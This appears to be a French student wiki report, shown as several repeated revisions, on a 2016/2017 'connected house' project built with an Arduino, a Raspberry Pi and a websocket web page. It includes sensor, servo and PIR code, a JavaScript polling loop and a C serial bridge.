setInterval(autoSend0, 1000);

La requête est lancée en websocket grâce à la commande "websocket.send('x')", x étant la caractère à envoyer.

Cette requête sera donc réceptionnée par le serveur tournant en tache de fond, serveur programmé en C.

Une fois tout le traitement effectué, la réponse est alors recue de la forme suivante : xxxxi

i représente le numéro de l'instruction

xxxx représente les données correspondant à l'instruction

De cette manière, on peut grâce à une simple condition if, modifier la variable correspondante, qui sera donc actualisée régulièrement sur la page WEB.

==== Partie Arduino ====

Le programme de l'arduino est divisé en deux grandes parties :

Le fonctionnement de manière autonome, c'est à dire qu'il n'est pas nécessaire que le Raspberry et la page WEB soient lancés, l'Arduino peut exécuter ses fonctions d'allumage et d'extinction de lumière et de chauffage de manière autonome.

On utilise ici le CAN intégré à l'Arduino afin d'acquérir des valeurs de potentiomètre, de luminosité et de température, et de les traiter.

Dans ce programme, lorsque la luminosité est trop faible, une lumière s'allume, et lorsque la température est trop basse le chauffage s'allume :

if (temperature < 27)
{
digitalWrite(led2, HIGH);
ledstate2=1;
}
else
{
digitalWrite(led2, LOW);
ledstate2=0;
}
if (analogRead(A1) < 300)
{
digitalWrite(led1, HIGH);
ledstate1=1;
}
else
{
digitalWrite(led1, LOW);
ledstate1=0;
}

On a pu remarquer que dans la pratique, le capteur de température est relativement instable et imprécis, ce qui engendre un comportement relativement aléatoire.

La partie série, c'est la partie dédiée à la communication de l'Arduino avec une interface série, ici le Raspberry.

Lorsqu'un caractère est reçu, ici un entier correspondant à l'instruction, l'Arduino fait la conversion Analogique-Digitale de la valeur envoyée sur le pin correspondant, et la stocke dans une variable.

Une fois stockée, cette variable sera transmise en série bit par bit, il faut donc que le premier bit transmis soit la longueur de l'entier à transmettre.

Pour cela, on utilise la formule :

n = (log10(sensorValue) + 1)

avec n la longueur de sensorValue.

int sensorValue = analogRead(A0);
int n = (log10(sensorValue) + 1); // nombre de chiffres composant le nombre
itoa(n, lengh, 10);
itoa(sensorValue, value, 10);
strcat(lengh,value);
Serial.println(lengh);

La valeur finale transmise en série sera donc de la forme nxxxx.

==== Partie serveur ====

Le programme C est celui qui fera la liaison entre les communications série et le WebSocket.

Il va recevoir par le websocket un entier correspondant à l'instruction et le stocker dans l'entier message :

case LWS_CALLBACK_RECEIVE:
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);

Un appel à la fonction serial_read est ensuite fait.

Cette fonction va aller lire bit par bit chaque caractère du message transmis en série. Elle prend en argument l'instruction "rec"

serial_read(&rec)

Un envoi en série de l'instruction est ensuite fait :

if(write(sd,&c,sizeof(char))!=1){ perror("main.write"); exit(-1); }

Une fois l'envoi fait, la lecture des données peur commencer. On commence par lire le nombre de bits que contient le mot :

if(read(sd,&n,sizeof(char))!=1){ perror("main.read"); exit(-1); }
n=n-48;

Cette donnée est donc stockée dans l'entier n, qui nous sert à faire la boucle for suivante :

for (i=0;i<n;i++)
{
if(read(sd,&c,sizeof(char))!=1){ perror("main.read"); exit(-1); }
value=value+(c-48)*pow(10,n-i-1);
}

Cette boucle for permet donc la construction de l'entier reçu en série, ce dernier nécessitant alors d'être converti en str grâce à sprintf, auquel on ajoute en fin de mot l'instruction afin que le serveur web puisse repérer la nature de la donnée.

sprintf (value, "%d", (10*serial_read(&rec))+rec);

Le résultat final est envoyé en websocket.

== Conclusion ==

La réalisation de ce projet fut relativement plus compliquée que ce à quoi nous nous attendions. En effet, l'utilisation du FPGA nous a forcés à revoir à la baisse nos espérances.

Malgré cela, l'utilisation du websocket ainsi que des bibliothèques série furent une bonne expérience, l'envie d'approfondir et d'améliorer le projet est réelle, mais en raison d'un manque considérable de temps et du départ en stage et à l'étranger des membres du groupe, nous n'avons pas pu aller aussi loin que nous l'aurions voulu.

Ce fut de plus une première pour l'utilisation du javascript, langage relativement intéressant pour l'actualisation automatique des valeurs entre autre.

Le projet s'est révélé très formateur, et serait approfondi/abouti avec joie.

Projet IMA3 P2, 2016/2017, TD1

2017-06-18T22:28:48Z

Tcattela : /* Conclusion */

= Projet IMA3-SC 2016/2017 : Maison connectée =

== Cahier des charges ==

=== Description du système ===
* L'écologie étant un point clé des futures années, il nous a semblé intéressant d'associer ce thème aux systèmes communicants. Le but est donc de mener à bien le projet d'une maison intelligente et communicante.

* La maison aura donc diverses fonctions gérées par l'utilisateur à distance, tel que l'éclairage, le chauffage, l'état de ses portes, l'état du garage...

* Tout étant géré à la fois via une interface web et une application Android.

* L'application laissera la possibilité de programmer ses routines afin que la maison devienne par définition autonome.

* Les mouvements dans la maison peuvent être détectés et l'application informe l'utilisateur en cas de mouvements imprévus (alerte voleur !)

=== Liste des fonctions à réaliser ===
* Mesure de la température (en °C) et de la luminosité (en lux).

* Détection de mouvement pour l'éclairage et les intrusions.

* Communication des informations sur une page web et une application Android.

* Automatisation de la commande de chauffage et d'éclairage.

* Automatisation des entrées et sorties de la maison (porte de garage..)

* Prévision de la consommation

=== Le matériel ===
Pour mener à bien ce projet il nous faudra :

* Raspberry PI3

* Carte SD 8GB

* Arduino Nano

* Servo-moteur

* Capteur de luminosité, capteur de température (pour Arduino)

* 5 leds

* module peltier et un radiateur

* Transformateur 230V/12V

* Relais 3.3V

* Capteur PIR (Passive Infra-Rouge)

* Maquette imprimée en 3D au fabricarium (la modélisation étant réalisée par nos soins.)

== Séance 1 ==

Durant cette séance, nous avons consacré notre temps principalement aux tests des différents modules qui s'appareillent avec la carte arduino. Cette étape est très crucial pour avoir un aperçu des caractéristiques de chacun des composants.

=== Partie électronique ===

*Pour une prise en main rapide et facile, nous avons tout d'abord utilisé des fonctions basiques en alternant sur les états des pins de l'arduino afin d'allumer et d'éteindre des LEDs qui feront office de lumière dans la maison. Les LEDs seront connectées en série avec une résidence pour ne pas dépasser la tension de seuil. (Tension sortie arduino > tension seuil LED)

*En deuxième test, on a utilisé la photorésistance. Une photorésistance est un composant dont la résistivité dépend de la luminosité ambiante. Pour faire simple, c'est une résistance dont la valeur change en fonction de la lumière qu'elle reçoit. On peut donc utiliser une photorésistance pour mesurer la luminosité ambiante. Voici quelques ordres de grandeurs de l'éclairement lumineux en fonction des endroits :

Nuit de pleine lune : 0,5 lux
Rue de nuit bien éclairée :20 à 70 lux
Local de vie : 100 à 200 lux
Appartement bien éclairé : 200 à 400 lux
Local de travail : 200 à 3 000 lux
Stade de nuit : 150 à 1 500 lux
Extérieur par ciel couvert : 500 à 25 000 lux
Extérieur en plein soleil : 50 000 à 100 000 lux

Le but de la démonstration était de tout simplement mesurer la luminosité ambiante d'une pièce et d'envoyer la valeur mesurée vers l'ordinateur via le câble USB et de visualisé la valeur sur le moniteur série. Le schéma de montage est le suivant :
[[Fichier:arduino_ldr_schéma.jpeg]]

La résistance de 10kOhm en série avec la photorésistance forme un pont de résistance (diviseur de tension). Après compilation et test, voici le résultat obtenu :
[[Fichier:capture_serial_term_ldr.jpg]]

N.B. : La valeur mesurée n'a pas d'unité ! C'est une valeur purement indicative. Si on veut mesurer une mesure en lux, il aurait fallu calibrer la photorésistance et intégrer les données de calibration dans le code. Savoir calibrer un capteur n'est pas le but de cette demonstration.

*Nous avons également fait les tests de température sur le capteur de thermique 36GZ qui a les caractéristiques suivantes :

- Tension d'entrée: 2,7 à 5,5 Vcc
- 10 mV/°C
- Précision: ±2°C
- Linéarité: 0,5°C
- Plage d'utilisation: -40°C à +125°C

Le but de ce montage sera de tout simplement mesurer la température ambiante de l'atelier et d'envoyer la température en degré Celsius vers l'ordinateur via le câble USB.

*On utilisera un module Peltier pour jouer le rôle du chauffage. L’effet Peltier est le déplacement de chaleurs en présence d’un courant électrique. L’effet se crée entre deux matériaux conducteurs de différentes natures liés par des jonctions. L’une des jonctions se refroidit pendant que l’autre se chauffe.
Le module Peltier transforme le courant électrique une différence de température. Changer la polarité du Peltier permet de refroidir ou chauffer le bloc métallique sur lequel il sera en contact avec de la graisse thermique pour assurer la transformation de la chaleur maximale. Le module Peltier qu'on utilise peut générer un gradient de température allant jusque 70°C et possède les caractéristiques électriques suivantes : une tension d’entrée maximale de 3,8V et une intensité d’entrée de 8,5A.

*Le dernier test de cette séance a été consacré au servomoteur. Les servomoteurs sont des moteurs un peu particuliers, qui peuvent tourner avec une liberté d'environ 180° et garder de manière relativement précise l'angle de rotation que l'on souhaite obtenir. Les servomoteurs ont pour rôles dans cette maquette d'ouvrir et de fermer le volet et la porte du garage. Il suffit de donner une consigne au servomoteur ("reste à 45°" par exemple) et le servomoteur fera son maximum pour rester au plus près de cette consigne. Voici le schéma de montage du servomoteur avec la carte arduino :
[[Fichier:sch_servMotor.jpg]]
Il est très important et crucial de bien brancher la broche "pulse" du servomoteur sur une pin PWM de la carte (Pulse Width Modulation, pin P9 sur le schéma par exemple). La consigne est transmise au moyen d'un signal numérique, d'une impulsion pour être précis.

Pour que le servomoteur reste à une position donnée, il faut transmettre toutes les 20 millisecondes (soit à une fréquence de 50Hz) une impulsion d'une longueur comprise entre 1 et 2 millisecondes.

[[Fichier:impulsion.jpg]]

Une impulsion de 1 milliseconde correspond à un angle de 0°.

Une impulsion de 2 millisecondes correspond à un angle de 180°.

En envoyant une impulsion d'une longueur intermédiaire, on obtient des angles différents, 90° avec une impulsion de 1.5 milliseconde par exemple.

N.B. La plupart des servomoteurs fonctionnent en 5 volts, mais certains fonctionnent en 3.3 volts. Pensez à bien lire la documentation du servomoteur avant de l'utiliser.

=== Partie informatique ===

* Afin d'allumer et d'éteindre les LEDs, il faut tout d'abord initialiser le pin en question en sortie. Pour allumer la LED, on met le pin à l'état haut pour une durée de 5000 cycles qui équivaut à 1 seconde et pour l'éteindre on effectue les mêmes instructions en mettant le pin à l'état bas.

// the setup function runs once when you press reset or power the board
void setup() {
// initialize digital pin LED_BUILTIN as an output.
pinMode(2, OUTPUT);
}
// the loop function runs over and over again forever
void loop() {
digitalWrite(2, HIGH); // turn the LED on (HIGH is the voltage level)
delay(5000); // wait for a second
digitalWrite(2, LOW); // turn the LED off by making the voltage LOW
delay(5000); // wait for a second
}

* Pour le capteur de température, l'arduino reçoit une tension. On multiplie la valeur reçue par la valeur de l'alimentation qui est de 5V. On divise par 1024 cette valeur. 1024 est le nombre d'octet sous lequel est codé la précision du capteur de température.
//TMP36 Pin Variables
int sensorPin = 0; // the analog pin the TMP36's Vout (sense) pin is connected to
// the resolution is 10 mV / degree centigrade with a
// 500 mV offset to allow for negative temperatures
void loop() // run over and over again
{
//getting the voltage reading from the temperature sensor
int reading = analogRead(sensorPin);
// converting that reading to voltage, for 3.3v arduino use 3.3
float voltage = reading * 5.0;
voltage /= 1024.0;
// print out the voltage
Serial.print(voltage); Serial.println(" volts");
// now print out the temperature
float temperatureC = (voltage - 0.5) * 100 ; //converting from 10 mv per degree wit 500 mV offset
//to degrees ((voltage - 500mV) times 100)
Serial.print(temperatureC); Serial.println(" degrees C");

* Pour la photorésistance, le principe étant de lire l'information qui arrive sur la broche à laquelle est branché le module. Pour cela, une acquisition continue avec un écart de 250ms suffira dans notre cas.

// Fonction setup(), appelée au démarrage de la carte Arduino
void setup() {
// Initialise la communication avec le PC
Serial.begin(9600);
}
// Fonction loop(), appelée continuellement en boucle tant que la carte Arduino est alimentée
void loop() {
// Mesure la tension sur la broche A0
int valeur = analogRead(A0);
// Envoi la mesure au PC pour affichage et attends 250ms
Serial.println(valeur);
delay(250);
}

* Le module Peltier fonctionne en continue sans réel consigne c'est à dire qu'il suffira de jouer sur l'état d'un interrupteur pour qu'il chauffe ou pas. Il sera alimenté par une source de tension externe car l'arduino ne répond pas aux besoin nécessaire du module.

* Le dernier module programmé est le servomoteur, la valeur de l'angle est entre 0° et 179°, le résultat sera entre 1 000 et 2 000 microsecondes (donc entre 1 et 2 millisecondes). Grâce à cette formule, on peut obtenir toutes les valeurs d'impulsions pour des positions entre 0° et 179°. Ce programme est un programme test pour comprendre le bon fonctionnement d'un servomoteur.

int periode=20000;// période entre chaque début d'impulsion en microsecondes
int pinServo=8; // variable pour le pin connecté à la commande du servo
void setup() {
pinMode(pinServo,OUTPUT);// on prépare le pin en mode OUTPUT
digitalWrite(pinServo,LOW); // on l'initialise à l'état bas
}
//boucle principale
void loop() {
for (int angle=0;angle<=180;angle+=20){//on fait varier l'angle de 0 à 180° par tranche de 20°
setAngle(angle);// on appelle la fonction setAngle définie plus bas
}
}
//fonction setAngle pour envoyer les impulsions
void setAngle(int a){
int duree=map(a,0,179,1000,2000);// on transforme l'angle en microsecondes et on stocke dans la variable duree
digitalWrite(pinServo,LOW);//on met le pin à l'état bas
// la boucle qui suit est nécessaire
// pour laisser le temps au servo d'aller à sa position
for (int t=0;t<300;t++){
digitalWrite(pinServo,HIGH);// on envoie l'impulsion
delayMicroseconds(duree); // pendant la bonne durée
digitalWrite(pinServo,LOW); // on stoppe l'impulsion
delayMicroseconds(periode-duree); // on attend le temps restant pour atteindre la période
}
}

* En parallèle avec ce travail de programmation sur arduino, on réalise des plans de la maquette de la maison pour ensuite la faire passer à la découpeuse laser grâce au logiciel inkscap.

== Séance 2 ==
Lors de la séance 2, nous avons reçu le capteur PIR, étudié sa datasheet pour pouvoir l'utilisé et le programmer avec la carte arduino. Pendant ce temps là, en parallèle est finalisé le design et la conception de la maquette de la maison connectée.

=== Partie électronique ===

* Un capteur infrarouge permet de détecter un mouvement dans son champ de vision en se basant sur l’infrarouge. On parle aussi de capteur pyroélectrique ou PIR. Les PIR sont capable de détecter une variation des ondes infrarouges, ce qui génère un courant électrique. Dans le cas de notre capteur, il est en fait divisé en deux partie différente reliées ensemble afin de détecter une variation lors qu’une des moitiés capte plus qu’une autre. On a ainsi un relevé d’une différence, et non plus d’une valeur simple. Lors d’un mouvement, la variation des deux moitiés vont varier, et on va donc capter cette variation positive.

[[Fichier:PIR.jpg]]

Les spécifications techniques du capteur PIR HC SR501 sont les suivantes :

Entrée : Tension continue de 4.5 à 20V , courant 65mA
Sortie : High 3.3 V / Low 0V (Détection ou non)
Angle : <100 °
Dimension : 32 mm * 24 mm
Délai : de 5 à 200 secondes (ajustable)
Portée : de 3 à 7 mètres (ajustable).
Au repos : 50 uA

En ce qui concerne le montage, on s'aide d'une LED pour vérifier l'état et le passage devant le PIR.
On branche donc :

Le VCC du PIR sur le 5V de l’arduino
Le GRD du PIR sur le GRD de l’arduino
La dernière branche sur le pin 2 de l’arduino
On ajoute une led de contrôle entre le pin 13 et un GRD de l’arduino

[[Fichier:montagePIR.jpg]]

=== Partie informatique ===

*Pour la programmation du PIR, il est important de lui laisser au moins 30 secondes pour se calibrer, puis une fois que cela est fait, on va en boucle relever la valeur que nous renvoi le capteur : 0 ou 1. 0 signifiant pas de signal et 1 signifiant qu’il détecte une variation infrarouge. Une LED s'allume pour valider l'état.

//the time we give the sensor to calibrate (10-60 secs according to the datasheet)
int calibrationTime = 30;
int ledPin = 13; // choose the pin for the LED
int inputPin = 2; // choose the input pin (for PIR sensor)
int pirState = LOW; // we start, assuming no motion detected
int val = 0; // variable for reading the pin status
void setup() {
pinMode(ledPin, OUTPUT); // declare LED as output
pinMode(inputPin, INPUT); // declare sensor as input
Serial.begin(9600);
Serial.print("calibrating sensor ");
for(int i = 0; i < calibrationTime; i++){
Serial.print(".");
delay(1000);
}
}
void loop(){
val = digitalRead(inputPin); // read input value
Serial.println(val);
if (val == HIGH) { // check if the input is HIGH
digitalWrite(ledPin, HIGH); // turn LED ON
delay(150);
if (pirState == LOW) {
// we have just turned on
Serial.println("Motion detected!");
// We only want to print on the output change, not state
pirState = HIGH;
}
} else {
digitalWrite(ledPin, LOW); // turn LED OFF
delay(300);
if (pirState == HIGH){
// we have just turned of
Serial.println("Motion ended!");
// We only want to print on the output change, not state
pirState = LOW;
}
}
}

Après avoir compiler et téléverser le programme dans l'arduino, on peut constater dans le moniteur série l'état et le fonctionnement du PIR en directe.

[[Fichier:moniteurseriepir.jpg]]

* Le design maquette a été revue en détail durant la séance pour les petites corrections et pouvoir lancer le découpage et ensuite la monter proprement sans soucis de dimensionnement.

[[Fichier:decoupagelaser.jpg]]

[[Fichier:maquettemonte.jpg]]

== Séance 3 ==

=== Partie électronique ===

Prise en main de Altium designer et réalisation du comparateur de température
prise en main CAN sur carte arduino

=== Partie informatique ===

prog de Altium designer et réalisation du comparateur de température
prog CAN sur carte arduino

== Séances supplémentaires ==

=== Partie électronique ===

Montage de la maquette avec les différents élements pour la présentation.

=== Partie informatique ===

==== Schéma de fonctionnement ====

Afin de mettre en place le système, le schéma suivi sera le suivant :

1) Requête de la page WEB par l'envoi d'un caractère.

2) Réception du serveur programmé en C, tournant en tâche de fond, traitement et envoi de la requète à l'arduino par la port série.

3) Réception de la requête par l'Arduino, traitement et envoi de la réponse en série.

4) Réception de la réponse de l'Arduino par le programme C.

5) Transmission de la réponse à la page WEB.

==== Page WEB ====

La page web va émettre des requêtes pour chacune des données :
-1 pour afficher la valeur du potentiomètre
-2 pour afficher la valeur de capteur de luminosité
-3 pour afficher la valeur de capteur de température
-4 pour afficher l'état des lampes (l'allumage et l'extinction étant gérés par l'Arduino)
-5 pour afficher l'état du chauffage (l'allumage et l'extinction étant gérés par l'Arduino)

Afin de lancer ces requêtes automatiquement, un créé une boucle javascript avec les fonctions :

1) setTimeout qui permet de lancer une fonction après une autre après un certain temps (ici 200ms)

2) setInterval qui permet de lancer une fonction avec un intervalle régulier dès que la page est lancée (ici 1000ms)

function autoSend0(){
websocket.send('0');
setTimeout('autoSend1();', 200);
}
function autoSend1(){
websocket.send('1');
setTimeout('autoSend2();', 200);
}
function autoSend2(){
websocket.send('2');
setTimeout('autoSend3();', 200);
}
function autoSend3(){
websocket.send('3');
setTimeout('autoSend4();', 200);
}
function autoSend4(){
websocket.send('4');
}
setInterval(autoSend0, 1000);

La requête est lancée en websocket grâce à la commande "websocket.send('x')", x étant la caractère à envoyer.

Cette requête sera donc réceptionnée par le serveur tournant en tache de fond, serveur programmé en C.

Une fois tout le traitement effectué, la réponse est alors recue de la forme suivante : xxxxi

i représente le numéro de l'instruction

xxxx représente les données correspondant à l'instruction

De cette manière, on peut grâce à une simple condition if, modifier la variable correspondante, qui sera donc actualisée régulièrement sur la page WEB.

==== Partie Arduino ====

Le programme de l'arduino est divisé en deux grandes parties :

Le fonctionnement de manière autonome, c'est à dire qu'il n'est pas nécessaire que le Raspberry et la page WEB soient lancés, l'Arduino peut exécuter ses fonctions d'allumage et d'extinction de lumière et de chauffage de manière autonome.

On utilise ici le CAN intégré à l'Arduino afin d'acquérir des valeurs de potentiomètre, de luminosité et de température, et de les traiter.

Dans ce programme, lorsque la luminosité est trop faible, une lumière s'allume, et lorsque la température est trop basse le chauffage s'allume :

if (temperature < 27)
{
digitalWrite(led2, HIGH);
ledstate2=1;
}
else
{
digitalWrite(led2, LOW);
ledstate2=0;
}
if (analogRead(A1) < 300)
{
digitalWrite(led1, HIGH);
ledstate1=1;
}
else
{
digitalWrite(led1, LOW);
ledstate1=0;
}

On a pu remarquer que dans la pratique, le capteur de température est relativement instable et imprécis, ce qui engendre un comportement relativement aléatoire.

La partie série, c'est la partie dédiée à la communication de l'Arduino avec une interface série, ici le Raspberry.

Lorsqu'un caractère est reçu, ici un entier correspondant à l'instruction, l'Arduino fait la conversion Analogique-Digitale de la valeur envoyée sur le pin correspondant, et la stocke dans une variable.

Une fois stockée, cette variable sera transmise en série bit par bit, il faut donc que le premier bit transmis soit la longueur de l'entier à transmettre.

Pour cela, on utilise la formule :

n = (log10(sensorValue) + 1)

avec n la longueur de sensorValue.

int sensorValue = analogRead(A0);
int n = (log10(sensorValue) + 1); // nombre de chiffres composant le nombre
itoa(n, lengh, 10);
itoa(sensorValue, value, 10);
strcat(lengh,value);
Serial.println(lengh);

La valeur finale transmise en série sera donc de la forme nxxxx.

==== Partie serveur ====

Le programme C est celui qui fera la liaison entre les communications série et le WebSocket.

Il va recevoir par le websocket un entier correspondant à l'instruction et le stocker dans l'entier message :

case LWS_CALLBACK_RECEIVE:
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);

Un appel à la fonction serial_read est ensuite fait.

Cette fonction va aller lire bit par bit chaque caractère du message transmis en série. Elle prend en argument l'instruction "rec"

serial_read(&rec)

Un envoi en série de l'instruction est ensuite fait :

if(write(sd,&c,sizeof(char))!=1){ perror("main.write"); exit(-1); }

Une fois l'envoi fait, la lecture des données peur commencer. On commence par lire le nombre de bits que contient le mot :

if(read(sd,&n,sizeof(char))!=1){ perror("main.read"); exit(-1); }
n=n-48;

Cette donnée est donc stockée dans l'entier n, qui nous sert à faire la boucle for suivante :

for (i=0;i<n;i++)
{
if(read(sd,&c,sizeof(char))!=1){ perror("main.read"); exit(-1); }
value=value+(c-48)*pow(10,n-i-1);
}

Cette boucle for permet donc la construction de l'entier reçu en série, ce dernier nécessitant alors d'être converti en str grâce à sprintf, auquel on ajoute en fin de mot l'instruction afin que le serveur web puisse repérer la nature de la donnée.

sprintf (value, "%d", (10*serial_read(&rec))+rec);

Le résultat final est envoyé en websocket.

== Conclusion ==

La réalisation de ce projet fut relativement plus compliquée que ce à quoi nous nous attendions. En effet, l'utilisation du FPGA nous a forcés à revoir à la baisse nos espérances.

Malgré cela, l'utilisation du websocket ainsi que des bibliothèques série furent une bonne expérience, l'envie d'approfondir et d'améliorer le projet est réelle, mais en raison d'un manque considérable de temps et du départ en stage et à l'étranger des membres du groupe, nous n'avons pas pu aller aussi loin que nous l'aurions voulu.

Ce fut de plus une première pour l'utilisation du javascript, langage relativement intéressant pour l'actualisation automatique des valeurs entre autre.

Le projet s'est révélé très formateur, et serait approfondi/abouti avec joie.

Projet IMA3 P2, 2016/2017, TD1

2017-06-18T16:01:19Z

Tcattela : /* Séances supplémentaires */

= Projet IMA3-SC 2016/2017 : Maison connectée =

== Cahier des charges ==

=== Description du système ===
* L'écologie étant un point clé des futures années, il nous a semblé intéressant d'associer ce thème aux systèmes communicants. Le but est donc de mener à bien le projet d'une maison intelligente et communicante.

* La maison aura donc diverses fonctions gérées par l'utilisateur à distance, tel que l'éclairage, le chauffage, l'état de ses portes, l'état du garage...

* Tout étant géré à la fois via une interface web et une application Android.

* L'application laissera la possibilité de programmer ses routines afin que la maison devienne par définition autonome.

* Les mouvements dans la maison peuvent être détectés et l'application informe l'utilisateur en cas de mouvements imprévus (alerte voleur !)

=== Liste des fonctions à réaliser ===
* Mesure de la température (en °C) et de la luminosité (en lux).

* Détection de mouvement pour l'éclairage et les intrusions.

* Communication des informations sur une page web et une application Android.

* Automatisation de la commande de chauffage et d'éclairage.

* Automatisation des entrées et sorties de la maison (porte de garage..)

* Prévision de la consommation

=== Le matériel ===
Pour mener à bien ce projet il nous faudra :

* Raspberry PI3

* Carte SD 8GB

* Arduino Nano

* Servo-moteur

* Capteur de luminosité, capteur de température (pour Arduino)

* 5 leds

* module peltier et un radiateur

* Transformateur 230V/12V

* Relais 3.3V

* Capteur PIR (Passive Infra-Rouge)

* Maquette imprimée en 3D au fabricarium (la modélisation étant réalisée par nos soins.)

== Séance 1 ==

Durant cette séance, nous avons consacré notre temps principalement aux tests des différents modules qui s'appareillent avec la carte arduino. Cette étape est très crucial pour avoir un aperçu des caractéristiques de chacun des composants.

=== Partie électronique ===

*Pour une prise en main rapide et facile, nous avons tout d'abord utilisé des fonctions basiques en alternant sur les états des pins de l'arduino afin d'allumer et d'éteindre des LEDs qui feront office de lumière dans la maison. Les LEDs seront connectées en série avec une résidence pour ne pas dépasser la tension de seuil. (Tension sortie arduino > tension seuil LED)

*En deuxième test, on a utilisé la photorésistance. Une photorésistance est un composant dont la résistivité dépend de la luminosité ambiante. Pour faire simple, c'est une résistance dont la valeur change en fonction de la lumière qu'elle reçoit. On peut donc utiliser une photorésistance pour mesurer la luminosité ambiante. Voici quelques ordres de grandeurs de l'éclairement lumineux en fonction des endroits :

Nuit de pleine lune : 0,5 lux
Rue de nuit bien éclairée :20 à 70 lux
Local de vie : 100 à 200 lux
Appartement bien éclairé : 200 à 400 lux
Local de travail : 200 à 3 000 lux
Stade de nuit : 150 à 1 500 lux
Extérieur par ciel couvert : 500 à 25 000 lux
Extérieur en plein soleil : 50 000 à 100 000 lux

Le but de la démonstration était de tout simplement mesurer la luminosité ambiante d'une pièce et d'envoyer la valeur mesurée vers l'ordinateur via le câble USB et de visualisé la valeur sur le moniteur série. Le schéma de montage est le suivant :
[[Fichier:arduino_ldr_schéma.jpeg]]

La résistance de 10kOhm en série avec la photorésistance forme un pont de résistance (diviseur de tension). Après compilation et test, voici le résultat obtenu :
[[Fichier:capture_serial_term_ldr.jpg]]

N.B. : La valeur mesurée n'a pas d'unité ! C'est une valeur purement indicative. Si on veut mesurer une mesure en lux, il aurait fallu calibrer la photorésistance et intégrer les données de calibration dans le code. Savoir calibrer un capteur n'est pas le but de cette demonstration.

*Nous avons également fait les tests de température sur le capteur de thermique 36GZ qui a les caractéristiques suivantes :

- Tension d'entrée: 2,7 à 5,5 Vcc
- 10 mV/°C
- Précision: ±2°C
- Linéarité: 0,5°C
- Plage d'utilisation: -40°C à +125°C

Le but de ce montage sera de tout simplement mesurer la température ambiante de l'atelier et d'envoyer la température en degré Celsius vers l'ordinateur via le câble USB.

*On utilisera un module Peltier pour jouer le rôle du chauffage. L’effet Peltier est le déplacement de chaleurs en présence d’un courant électrique. L’effet se crée entre deux matériaux conducteurs de différentes natures liés par des jonctions. L’une des jonctions se refroidit pendant que l’autre se chauffe.
Le module Peltier transforme le courant électrique une différence de température. Changer la polarité du Peltier permet de refroidir ou chauffer le bloc métallique sur lequel il sera en contact avec de la graisse thermique pour assurer la transformation de la chaleur maximale. Le module Peltier qu'on utilise peut générer un gradient de température allant jusque 70°C et possède les caractéristiques électriques suivantes : une tension d’entrée maximale de 3,8V et une intensité d’entrée de 8,5A.

*Le dernier test de cette séance a été consacré au servomoteur. Les servomoteurs sont des moteurs un peu particuliers, qui peuvent tourner avec une liberté d'environ 180° et garder de manière relativement précise l'angle de rotation que l'on souhaite obtenir. Les servomoteurs ont pour rôles dans cette maquette d'ouvrir et de fermer le volet et la porte du garage. Il suffit de donner une consigne au servomoteur ("reste à 45°" par exemple) et le servomoteur fera son maximum pour rester au plus près de cette consigne. Voici le schéma de montage du servomoteur avec la carte arduino :
[[Fichier:sch_servMotor.jpg]]
Il est très important et crucial de bien brancher la broche "pulse" du servomoteur sur une pin PWM de la carte (Pulse Width Modulation, pin P9 sur le schéma par exemple). La consigne est transmise au moyen d'un signal numérique, d'une impulsion pour être précis.

Pour que le servomoteur reste à une position donnée, il faut transmettre toutes les 20 millisecondes (soit à une fréquence de 50Hz) une impulsion d'une longueur comprise entre 1 et 2 millisecondes.

[[Fichier:impulsion.jpg]]

Une impulsion de 1 milliseconde correspond à un angle de 0°.

Une impulsion de 2 millisecondes correspond à un angle de 180°.

En envoyant une impulsion d'une longueur intermédiaire, on obtient des angles différents, 90° avec une impulsion de 1.5 milliseconde par exemple.

N.B. La plupart des servomoteurs fonctionnent en 5 volts, mais certains fonctionnent en 3.3 volts. Pensez à bien lire la documentation du servomoteur avant de l'utiliser.

=== Partie informatique ===

* Afin d'allumer et d'éteindre les LEDs, il faut tout d'abord initialiser le pin en question en sortie. Pour allumer la LED, on met le pin à l'état haut pour une durée de 5000 cycles qui équivaut à 1 seconde et pour l'éteindre on effectue les mêmes instructions en mettant le pin à l'état bas.

// the setup function runs once when you press reset or power the board
void setup() {
// initialize digital pin LED_BUILTIN as an output.
pinMode(2, OUTPUT);
}
// the loop function runs over and over again forever
void loop() {
digitalWrite(2, HIGH); // turn the LED on (HIGH is the voltage level)
delay(5000); // wait for a second
digitalWrite(2, LOW); // turn the LED off by making the voltage LOW
delay(5000); // wait for a second
}

* Pour le capteur de température, l'arduino reçoit une tension. On multiplie la valeur reçue par la valeur de l'alimentation qui est de 5V. On divise par 1024 cette valeur. 1024 est le nombre d'octet sous lequel est codé la précision du capteur de température.
//TMP36 Pin Variables
int sensorPin = 0; // the analog pin the TMP36's Vout (sense) pin is connected to
// the resolution is 10 mV / degree centigrade with a
// 500 mV offset to allow for negative temperatures
void loop() // run over and over again
{
//getting the voltage reading from the temperature sensor
int reading = analogRead(sensorPin);
// converting that reading to voltage, for 3.3v arduino use 3.3
float voltage = reading * 5.0;
voltage /= 1024.0;
// print out the voltage
Serial.print(voltage); Serial.println(" volts");
// now print out the temperature
float temperatureC = (voltage - 0.5) * 100 ; //converting from 10 mv per degree wit 500 mV offset
//to degrees ((voltage - 500mV) times 100)
Serial.print(temperatureC); Serial.println(" degrees C");

* Pour la photorésistance, le principe étant de lire l'information qui arrive sur la broche à laquelle est branché le module. Pour cela, une acquisition continue avec un écart de 250ms suffira dans notre cas.

// Fonction setup(), appelée au démarrage de la carte Arduino
void setup() {
// Initialise la communication avec le PC
Serial.begin(9600);
}
// Fonction loop(), appelée continuellement en boucle tant que la carte Arduino est alimentée
void loop() {
// Mesure la tension sur la broche A0
int valeur = analogRead(A0);
// Envoi la mesure au PC pour affichage et attends 250ms
Serial.println(valeur);
delay(250);
}

* Le module Peltier fonctionne en continue sans réel consigne c'est à dire qu'il suffira de jouer sur l'état d'un interrupteur pour qu'il chauffe ou pas. Il sera alimenté par une source de tension externe car l'arduino ne répond pas aux besoin nécessaire du module.

* Le dernier module programmé est le servomoteur, la valeur de l'angle est entre 0° et 179°, le résultat sera entre 1 000 et 2 000 microsecondes (donc entre 1 et 2 millisecondes). Grâce à cette formule, on peut obtenir toutes les valeurs d'impulsions pour des positions entre 0° et 179°. Ce programme est un programme test pour comprendre le bon fonctionnement d'un servomoteur.

int periode=20000;// période entre chaque début d'impulsion en microsecondes
int pinServo=8; // variable pour le pin connecté à la commande du servo
void setup() {
